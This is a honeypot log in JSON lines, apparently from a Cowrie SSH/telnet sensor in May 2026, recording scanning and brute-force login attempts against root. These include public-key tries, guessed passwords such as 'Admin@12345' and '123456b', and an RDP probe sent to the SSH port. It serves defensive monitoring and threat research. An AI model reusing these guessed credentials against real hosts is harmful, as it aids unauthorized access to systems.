{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:21:e7:92:f8:80:ad:60:2f:27:b8:af:6a:e8:e1:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4jezPyE0rmHYaVBYjJElLsiEHn8rumnjnjcmTy5gnfcgBXNga+eCcXPM6f9Bv43g7CQKDj2po3mzeRMLNOeHI7vqEH1j2Wi77/iB8xCTMRnSHmYzq3Nx7T19rojY8ctT2E4fmvnZ3R072IfFzeaLcCAxvoYWP+jsOcJwT13gqaLnaTYcHwwnfONQ0MwkscxvRMqNI5j8eMkc/LrqRCPqmPbxzMY/l5fAVtVxunVFMkLmoaAjYMAMs9WjylYBWz6KC1sAAOpuzzcga5BPYinJ1rxRaLSwDHZSPddfdaHQhPmZwRT2wWV/+VMn4vnuc0DT/aDMoHeAOvrWLeBgZMWdoEdlVMaToyzAfaMTij48y5wSfV7NEosuvfmgSXVcAZsNx04f3Fi5TKhne2dbwG5xIRovYn1sPvS46EuLAnrXgLjv+QcHayYfcZDXq0T0kRQHTjGFKvl/aYB2hEuph9kDLP1uKXhmIM12H1hjTPTnfsSl0gacq/EtB44pko+Sr/x8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:21:e7:92:f8:80:ad:60:2f:27:b8:af:6a:e8:e1:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:25.974982Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:21:e7:92:f8:80:ad:60:2f:27:b8:af:6a:e8:e1:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4jezPyE0rmHYaVBYjJElLsiEHn8rumnjnjcmTy5gnfcgBXNga+eCcXPM6f9Bv43g7CQKDj2po3mzeRMLNOeHI7vqEH1j2Wi77/iB8xCTMRnSHmYzq3Nx7T19rojY8ctT2E4fmvnZ3R072IfFzeaLcCAxvoYWP+jsOcJwT13gqaLnaTYcHwwnfONQ0MwkscxvRMqNI5j8eMkc/LrqRCPqmPbxzMY/l5fAVtVxunVFMkLmoaAjYMAMs9WjylYBWz6KC1sAAOpuzzcga5BPYinJ1rxRaLSwDHZSPddfdaHQhPmZwRT2wWV/+VMn4vnuc0DT/aDMoHeAOvrWLeBgZMWdoEdlVMaToyzAfaMTij48y5wSfV7NEosuvfmgSXVcAZsNx04f3Fi5TKhne2dbwG5xIRovYn1sPvS46EuLAnrXgLjv+QcHayYfcZDXq0T0kRQHTjGFKvl/aYB2hEuph9kDLP1uKXhmIM12H1hjTPTnfsSl0gacq/EtB44pko+Sr/x8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:25.978857Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:26.177305Z","src_ip":"200.175.61.207","session":"e35caf60c82a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:c4:a3:d6:08:1c:ff:0c:60:b6:2f:84:c9:8d:d5:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCn52X8gWtrahwv5sokEVNu4opr70AYq5wE6Tiy9GQ3aDOOgpuCRhryht5u8HvVqo0NRDX3cWJmN1g0UIbMF2W3UOlDzM8jHGsC35a2KVx3xl800stOmLBwWdtdopdESh/feNd/YCqOPMixCHB0eu5wh4+Z9u7PNr2G724/Uqhe2oWuRIhHBCoLnbxohD21s5L18eZyonamAAoZWgGIorWnDNlcsfjNRz/oJAb4mjwGTs2aHS0GX3q8/5jiPb7NkcPglmCYLIKsjoQ0MSCwmg1D9Yn/blfI7BSt0xWuzGwmZKfd8ireBGMtskGLHkCf+aBTuAMX85Z5rdR8YGJXTSwGFBMe2wp20Adkfib9brLHX2vQ5XBYXwIvm0aLSbNDJulLUj+9tVqfFYxLMW00GSp5z6dvXn6hb89GCFkE9FlsHZIchYMxiQIIDcG5GMPOgavv3A/5lQWtUcT3k1xLUVYmUaovhKugwMWzb/0BquduaApt9jCX8s04MJb7Y5Nw6h/ok70CMokkBlc9747BG1pguG8li8YkXhPloEq8votLwioIQj3rH/ERfOB4W9aMOMCmCtKtLcGEeo253cijzzrQvVgetY+nn0mc0FRB4WUCKMtO6si6Pr8o7sSomerMvcWSejwW5u991qOtcfyVfrxXMV7UreolRtVq/unsctoRQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:c4:a3:d6:08:1c:ff:0c:60:b6:2f:84:c9:8d:d5:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:26.191060Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:c4:a3:d6:08:1c:ff:0c:60:b6:2f:84:c9:8d:d5:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCn52X8gWtrahwv5sokEVNu4opr70AYq5wE6Tiy9GQ3aDOOgpuCRhryht5u8HvVqo0NRDX3cWJmN1g0UIbMF2W3UOlDzM8jHGsC35a2KVx3xl800stOmLBwWdtdopdESh/feNd/YCqOPMixCHB0eu5wh4+Z9u7PNr2G724/Uqhe2oWuRIhHBCoLnbxohD21s5L18eZyonamAAoZWgGIorWnDNlcsfjNRz/oJAb4mjwGTs2aHS0GX3q8/5jiPb7NkcPglmCYLIKsjoQ0MSCwmg1D9Yn/blfI7BSt0xWuzGwmZKfd8ireBGMtskGLHkCf+aBTuAMX85Z5rdR8YGJXTSwGFBMe2wp20Adkfib9brLHX2vQ5XBYXwIvm0aLSbNDJulLUj+9tVqfFYxLMW00GSp5z6dvXn6hb89GCFkE9FlsHZIchYMxiQIIDcG5GMPOgavv3A/5lQWtUcT3k1xLUVYmUaovhKugwMWzb/0BquduaApt9jCX8s04MJb7Y5Nw6h/ok70CMokkBlc9747BG1pguG8li8YkXhPloEq8votLwioIQj3rH/ERfOB4W9aMOMCmCtKtLcGEeo253cijzzrQvVgetY+nn0mc0FRB4WUCKMtO6si6Pr8o7sSomerMvcWSejwW5u991qOtcfyVfrxXMV7UreolRtVq/unsctoRQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:26.197710Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:0b:7b:8b:b1:7f:4b:1f:f3:2c:7c:7a:4d:a7:13:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnNWN+z1xFgM4VA6qahIwfWvyxJtNuZawTzRgIp5vefiR+SUU48G0n/N3k0Dd9hb4f/kJ89Vnf/6OkX7ax5YMVNsm92wpBYu0WfWAtlDplf8cicQg1suKjTtggQsH3rJEOkptRKNxTbGUQfJOjVYSZm0VOW2KcKeOqJJfBHnOGi3UzFBpb1lfBzXOhYNvjNc7G1bn3l+sbsRdVjlGKR+p+LZRJF/5cH0hTiDNaMKipQBMEBqHReE6drXWzZb37MPuqg1mng5ixhLSsTFhsHEjeko600UTAHamv0r5cpnFSXUZ7751ampHmcSweln4OLaAUy8bRNT7lhUp6hoEQsUo76n/c82loQFjEKo/icQ0UuF1P4dHX4Eqo7Zl/7C5v6GOPN4VObHH6W5oJJN0F/KUuKFaNFX+39ss2GMk4WJW8xvGMKs63pukhnbyqEtgMFU9uU7vx5K1XRkAgVV6MPIc2TXsFM271RyeEqIJNOaTH81Zalw5fZXZ5JssJgY/UCsASDmo6lFIzPjk6MjcGCPFQYvBgNYNM6e//a6lk+K3YGwyY/zNo5XeDDqZXNG09smphNCWVIS3RcFEo5oUkgW4F71t4qrZ7duBEbjFnTaOZFr2Yx4GcGRe712DBsztuUobQfpge/xqOxU2ZyCqgB0ZhQ8D55BgCbMudkBf8iMzEFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:0b:7b:8b:b1:7f:4b:1f:f3:2c:7c:7a:4d:a7:13:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:26.409430Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:0b:7b:8b:b1:7f:4b:1f:f3:2c:7c:7a:4d:a7:13:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnNWN+z1xFgM4VA6qahIwfWvyxJtNuZawTzRgIp5vefiR+SUU48G0n/N3k0Dd9hb4f/kJ89Vnf/6OkX7ax5YMVNsm92wpBYu0WfWAtlDplf8cicQg1suKjTtggQsH3rJEOkptRKNxTbGUQfJOjVYSZm0VOW2KcKeOqJJfBHnOGi3UzFBpb1lfBzXOhYNvjNc7G1bn3l+sbsRdVjlGKR+p+LZRJF/5cH0hTiDNaMKipQBMEBqHReE6drXWzZb37MPuqg1mng5ixhLSsTFhsHEjeko600UTAHamv0r5cpnFSXUZ7751ampHmcSweln4OLaAUy8bRNT7lhUp6hoEQsUo76n/c82loQFjEKo/icQ0UuF1P4dHX4Eqo7Zl/7C5v6GOPN4VObHH6W5oJJN0F/KUuKFaNFX+39ss2GMk4WJW8xvGMKs63pukhnbyqEtgMFU9uU7vx5K1XRkAgVV6MPIc2TXsFM271RyeEqIJNOaTH81Zalw5fZXZ5JssJgY/UCsASDmo6lFIzPjk6MjcGCPFQYvBgNYNM6e//a6lk+K3YGwyY/zNo5XeDDqZXNG09smphNCWVIS3RcFEo5oUkgW4F71t4qrZ7duBEbjFnTaOZFr2Yx4GcGRe712DBsztuUobQfpge/xqOxU2ZyCqgB0ZhQ8D55BgCbMudkBf8iMzEFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:26.413600Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:70:d6:31:3c:1e:18:a5:cc:3d:96:4d:75:db:4b:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5mWwhLCFRQ7pceA7N0fohPMJx48hU08F4ygsvH9O+swgXqNAKKro97a6bo1EFamAk5E7wI4jQkwDAAVgH5ycufqDNUrRw1+uT4tVYs2CuBoam0NjAe9ttSPVtUh3tiaWnrmlKRa7YaxpyEhzjqf7ETTadceEQyB2ADywNt3wxin1e0vT8x7ckMXmevJglkvw4KmLzR3lur08aA4IkDDd/veom/oauR8AdufAKiieJ7eAEL977libBqpTjbWQ+u+Bazi0XJ8C4iegCqA8NWInj1nKFszT2AfZNNcfmP4EGPxRq/PatFTcM57xVta53VHXFud1uWRV2GwLfWy4aJnH6eXHPP+Tn4nK+fv9UAWAxIOjUq3kHOleDzo7Ogxib0NwZfTdJRqzypyojkgneeKgcb0D0ob+tLa327ygO29kcsXi0P6QbAXEK0VU12F1Y/DjO4RY2UMIT5TbZbPEaipN2sULnUnejYnhHqLFMi5bCgh8Bh09wD2Uqd8a3QmYB5Sx0IRo86kssjREYIWrIYypCmvBFoAKI0aDokT0FscY0FOHllZgrVlV8kXIXS7cLgP4Z5WI3GcZdGC/JDSSsBDDi2ePnbWtA2Wp5yrjcBHtFqdayHsFw2GwDZC2UEIgOQMBeow0JRIHhgT6Kh/6jidPtyQ2u+Wc7wtXc+DI3xX4KpQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:70:d6:31:3c:1e:18:a5:cc:3d:96:4d:75:db:4b:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:26.626277Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:70:d6:31:3c:1e:18:a5:cc:3d:96:4d:75:db:4b:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5mWwhLCFRQ7pceA7N0fohPMJx48hU08F4ygsvH9O+swgXqNAKKro97a6bo1EFamAk5E7wI4jQkwDAAVgH5ycufqDNUrRw1+uT4tVYs2CuBoam0NjAe9ttSPVtUh3tiaWnrmlKRa7YaxpyEhzjqf7ETTadceEQyB2ADywNt3wxin1e0vT8x7ckMXmevJglkvw4KmLzR3lur08aA4IkDDd/veom/oauR8AdufAKiieJ7eAEL977libBqpTjbWQ+u+Bazi0XJ8C4iegCqA8NWInj1nKFszT2AfZNNcfmP4EGPxRq/PatFTcM57xVta53VHXFud1uWRV2GwLfWy4aJnH6eXHPP+Tn4nK+fv9UAWAxIOjUq3kHOleDzo7Ogxib0NwZfTdJRqzypyojkgneeKgcb0D0ob+tLa327ygO29kcsXi0P6QbAXEK0VU12F1Y/DjO4RY2UMIT5TbZbPEaipN2sULnUnejYnhHqLFMi5bCgh8Bh09wD2Uqd8a3QmYB5Sx0IRo86kssjREYIWrIYypCmvBFoAKI0aDokT0FscY0FOHllZgrVlV8kXIXS7cLgP4Z5WI3GcZdGC/JDSSsBDDi2ePnbWtA2Wp5yrjcBHtFqdayHsFw2GwDZC2UEIgOQMBeow0JRIHhgT6Kh/6jidPtyQ2u+Wc7wtXc+DI3xX4KpQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:26.629614Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:26.840811Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.2259476184845,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:36.226934Z","src_ip":"192.119.13.58","session":"8e3e4d066be7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.046350955963135,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:45.226443Z","src_ip":"192.119.13.58","session":"abb920e7e0fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.00882029533386,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:53.872110Z","src_ip":"192.119.13.58","session":"2d1679315d5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54456,"dst_ip":"10.17.0.5","dst_port":23,"session":"b333582258f1","protocol":"telnet","message":"New connection: 192.119.13.58:54456 (10.17.0.5:23) [session: b333582258f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:54.105265Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50614,"dst_ip":"10.17.0.5","dst_port":23,"session":"61d7f0006dd5","protocol":"telnet","message":"New connection: 192.119.13.58:50614 (10.17.0.5:23) [session: 61d7f0006dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:00.679106Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":33280,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c29ba235f8a","protocol":"ssh","message":"New connection: 103.172.78.219:33280 (10.17.0.5:22) [session: 1c29ba235f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:03.387530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:03.393814Z","src_ip":"103.172.78.219","session":"1c29ba235f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:03.649860Z","src_ip":"103.172.78.219","session":"1c29ba235f8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"88888","message":"login attempt [root/88888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:04.416136Z","src_ip":"103.172.78.219","session":"1c29ba235f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:05.674327Z","src_ip":"103.172.78.219","session":"1c29ba235f8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63216,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b052882f54d","protocol":"ssh","message":"New connection: 152.42.212.128:63216 (159.203.135.109:22) [session: 6b052882f54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:30.779376Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:30.784805Z","src_ip":"152.42.212.128","session":"6b052882f54d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:30.789135Z","src_ip":"152.42.212.128","session":"6b052882f54d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.4691481590271,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:37.574286Z","src_ip":"192.119.13.58","session":"b333582258f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":59584,"dst_ip":"10.17.0.5","dst_port":22,"session":"91bf70a8f046","protocol":"ssh","message":"New connection: 200.175.61.207:59584 (10.17.0.5:22) [session: 91bf70a8f046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:45.134224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:45.139331Z","src_ip":"200.175.61.207","session":"91bf70a8f046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:45.282460Z","src_ip":"200.175.61.207","session":"91bf70a8f046","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@12345","message":"login attempt [root/Admin@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:45.884938Z","src_ip":"200.175.61.207","session":"91bf70a8f046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:47.031231Z","src_ip":"200.175.61.207","session":"91bf70a8f046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.0883207321167,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:50.767327Z","src_ip":"192.119.13.58","session":"61d7f0006dd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38926,"dst_ip":"10.17.0.5","dst_port":23,"session":"61cc651ae16a","protocol":"telnet","message":"New connection: 192.119.13.58:38926 (10.17.0.5:23) [session: 61cc651ae16a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:52.170446Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":34350,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb417f17d29","protocol":"ssh","message":"New connection: 62.133.63.178:34350 (159.203.135.109:22) [session: bbb417f17d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:58.667821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:58.673637Z","src_ip":"62.133.63.178","session":"bbb417f17d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:58.797979Z","src_ip":"62.133.63.178","session":"bbb417f17d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456b","message":"login attempt [root/123456b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:40:59.162290Z","src_ip":"62.133.63.178","session":"bbb417f17d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:41:00.288839Z","src_ip":"62.133.63.178","session":"bbb417f17d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35426,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c649cb8654d","protocol":"telnet","message":"New connection: 192.119.13.58:35426 (10.17.0.5:23) [session: 2c649cb8654d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:41:12.546766Z"}
